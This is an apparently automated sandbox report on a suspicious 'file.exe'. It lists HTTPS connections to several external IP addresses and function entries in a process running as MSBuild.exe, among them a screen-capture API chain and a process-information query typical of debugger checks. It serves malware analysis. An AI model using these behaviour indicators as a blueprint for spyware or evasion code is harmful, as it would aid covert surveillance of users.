Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57095
Source: unknown	Network traffic detected: HTTP traffic on port 57098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57091
Source: unknown	Network traffic detected: HTTP traffic on port 57276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57049
Source: unknown	Network traffic detected: HTTP traffic on port 57254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57176
Source: unknown	Network traffic detected: HTTP traffic on port 57159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57051
Source: unknown	Network traffic detected: HTTP traffic on port 57136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57172
Source: unknown	Network traffic detected: HTTP traffic on port 57033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57067
Source: unknown	Network traffic detected: HTTP traffic on port 57022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57188
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57189
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57065
Source: unknown	Network traffic detected: HTTP traffic on port 57183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57183
Source: unknown	Network traffic detected: HTTP traffic on port 57265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57199
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57079
Source: unknown	Network traffic detected: HTTP traffic on port 57021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57075
Source: unknown	Network traffic detected: HTTP traffic on port 57182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57197
Source: unknown	Network traffic detected: HTTP traffic on port 57044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57073
Source: unknown	Network traffic detected: HTTP traffic on port 57077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57194
Source: unknown	Network traffic detected: HTTP traffic on port 57220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57190
Source: unknown	Network traffic detected: HTTP traffic on port 57148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57083
Source: unknown	Network traffic detected: HTTP traffic on port 57137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57084
Source: unknown	Network traffic detected: HTTP traffic on port 57208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57080
Source: unknown	Network traffic detected: HTTP traffic on port 57250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57273 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57261 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57283 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57271 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57201
Source: unknown	Network traffic detected: HTTP traffic on port 57093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57202

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:57016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.202:443 -> 192.168.2.4:57019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:57021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:57213 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

1_2_00411F55

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040145B GetCurrentProcess,NtQueryInformationProcess,	1_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CACED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	1_2_6CACED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB0B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6CB0B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB0B8C0 rand_s,NtQueryVirtualMemory,	1_2_6CB0B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB0B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6CB0B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAAF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6CAAF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B20AD	0_2_005B20AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006051BB	0_2_006051BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F936F	0_2_005F936F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F445D	0_2_005F445D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F14F5	0_2_005F14F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00605559	0_2_00605559
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C6615	0_2_005C6615
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F36FD	0_2_005F36FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0060592B	0_2_0060592B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00604D26	0_2_00604D26
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00605D13	0_2_00605D13
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B1E05	0_2_005B1E05
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041C585	1_2_0041C585
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041B825	1_2_0041B825
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042DA53	1_2_0042DA53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D2E3	1_2_0042D2E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042CE4E	1_2_0042CE4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041961D	1_2_0041961D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042DE3B	1_2_0042DE3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D681	1_2_0042D681
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAA35A0	1_2_6CAA35A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB034A0	1_2_6CB034A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB0C4A0	1_2_6CB0C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAB6C80	1_2_6CAB6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAAD4E0	1_2_6CAAD4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAE6CF0	1_2_6CAE6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAB64C0	1_2_6CAB64C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CACD4D0	1_2_6CACD4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB1542B	1_2_6CB1542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB1AC00	1_2_6CB1AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAE5C10	1_2_6CAE5C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAF2C10	1_2_6CAF2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAB5440	1_2_6CAB5440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB1545C	1_2_6CB1545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB085F0	1_2_6CB085F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAE0DD0	1_2_6CAE0DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CABFD00	1_2_6CABFD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CACED10	1_2_6CACED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAD0512	1_2_6CAD0512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB04EA0	1_2_6CB04EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB0E680	1_2_6CB0E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAC5E90	1_2_6CAC5E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB176E3	1_2_6CB176E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAABEF0	1_2_6CAABEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CABFEF0	1_2_6CABFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB09E30	1_2_6CB09E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAF5600	1_2_6CAF5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAE7E10	1_2_6CAE7E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB16E63	1_2_6CB16E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAAC670	1_2_6CAAC670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAF2E4E	1_2_6CAF2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAC4640	1_2_6CAC4640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAC9E50	1_2_6CAC9E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAE3E50	1_2_6CAE3E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAF77A0	1_2_6CAF77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAADFE0	1_2_6CAADFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAD6FF0	1_2_6CAD6FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAB9F00	1_2_6CAB9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAE7710	1_2_6CAE7710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAD60A0	1_2_6CAD60A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CACC0E0	1_2_6CACC0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAE58E0	1_2_6CAE58E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB150C7	1_2_6CB150C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAEB820	1_2_6CAEB820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAF4820	1_2_6CAF4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAB7810	1_2_6CAB7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAEF070	1_2_6CAEF070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAC8850	1_2_6CAC8850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CACD850	1_2_6CACD850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAAC9A0	1_2_6CAAC9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CADD9B0	1_2_6CADD9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB02990	1_2_6CB02990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAE5190	1_2_6CAE5190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB1B170	1_2_6CB1B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CABD960	1_2_6CABD960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAFB970	1_2_6CAFB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CACA940	1_2_6CACA940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB12AB0	1_2_6CB12AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAA22A0	1_2_6CAA22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAD4AA0	1_2_6CAD4AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CABCAB0	1_2_6CABCAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB1BA90	1_2_6CB1BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAC1AF0	1_2_6CAC1AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAEE2F0	1_2_6CAEE2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAE8AC0	1_2_6CAE8AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAE9A60	1_2_6CAE9A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAAF380	1_2_6CAAF380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB153C8	1_2_6CB153C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAED320	1_2_6CAED320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CABC370	1_2_6CABC370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAA5340	1_2_6CAA5340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBAECD0	1_2_6CBAECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB4ECC0	1_2_6CB4ECC0
